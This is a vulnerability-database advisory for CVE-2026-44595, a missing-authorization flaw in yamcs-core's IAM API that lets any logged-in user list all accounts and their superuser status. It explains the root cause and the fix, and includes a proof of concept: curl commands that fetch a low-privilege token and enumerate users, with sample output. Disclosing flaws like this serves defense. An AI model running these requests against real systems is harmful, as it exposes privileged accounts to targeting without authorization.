Mend.io Vulnerability Database
The largest open source vulnerability database
What is a Vulnerability ID?
New vulnerability? Tell us about it!
CVE-2026-44595
Published:May 27, 2026
Updated:June 13, 2026
Summary The IAM API endpoints ("listUsers", "getUser", "listGroups", and "getGroup") in "yamcs-core" do not enforce the required "SystemPrivilege.ControlAccess" check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships. This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information. Root Cause File: "yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372" "listUsers()", "getUser()", "listGroups()", and "getGroup()" do not require "SystemPrivilege.ControlAccess". Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships: // listUsers — NO checkSystemPrivilege public void listUsers(Context ctx, Empty request, ...) { var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess); // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed for (User user : users) { UserInfo userb = toUserInfo(user, sensitiveDetails, directory); responseb.addUsers(userb); } } Compare with properly protected endpoints: // createUser — correctly protected public void createUser(Context ctx, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present Impact Any authenticated user can: 1. List all user accounts in the system 2. Identify which accounts have superuser privileges 3. Use this information to target privileged accounts Proof of Concept Authenticate as any low-privilege user GET access_token curl -s -X POST "http://localhost:8090/auth/token" -H "Content-Type: application/x-www-form-urlencoded" -d "grant_type=password&username=lowpriv&password=lowpriv123" Enumerate all users — no ControlAccess required curl -s "http://TARGET:8090/api/users" -H "Authorization: Bearer $TOKEN" #paste access_token Output (confirmed): { "users": [ { "name": "admin", "superuser": true, "active": true }, { "name": "operator", "superuser": true, "active": true }, { "name": "lowpriv", "superuser": false, "active": true } ] } Fix Add "ControlAccess" check to "listUsers", "getUser", "listGroups", "getGroup": public void listUsers(Context ctx, Empty request, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS ... }
Affected Packages
https://github.com/yamcs/yamcs.git (GITHUB):
Affected version(s) >=yamcs-0.30.0 <yamcs-5.12.7
Fix Suggestion:
Update to version yamcs-5.12.7
org.yamcs:yamcs-core (JAVA):
Affected version(s) >=0.29.3 <5.12.7
Fix Suggestion:
Update to version 5.12.7
Do you need more information?
Contact Us
CVSS v4
Base Score:
5.3
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
LOW
User Interaction
NONE
Vulnerable System Confidentiality
LOW
Vulnerable System Integrity
NONE
Vulnerable System Availability
NONE
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
4.3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
LOW
Integrity
NONE
Availability
NONE
Weakness Type (CWE)
Missing Authorization
EPSS
Base Score:
0.03